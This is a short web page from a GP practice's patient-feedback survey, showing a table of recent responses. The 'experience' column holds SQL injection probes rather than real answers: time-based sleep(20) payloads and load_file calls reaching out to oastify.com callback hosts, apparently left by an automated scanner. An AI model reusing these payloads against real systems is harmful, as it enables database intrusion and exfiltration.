Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’+(select*from(select(sleep(20)))a)+’ | [10] | [11] | July 4, 2023 at 6:08 am |
Very good'(select*from(select(sleep(20)))a)’ | [10] | [11] | July 4, 2023 at 6:08 am |
Very good’ | [10] | [11] | July 4, 2023 at 6:08 am |
Very good’+(select load_file(‘\vut81el1lza58l64ry0fs9v5lwr0ft5hwkkc79vy.oastify.comvzt’))+’ | [10] | [11] | July 4, 2023 at 6:08 am |
(select load_file(‘\q5w3c9wwwul0jghz2tba3460wr2vqogc7ev6i36s.oastify.comacy’)) | [10] | [11] | July 4, 2023 at 6:08 am |
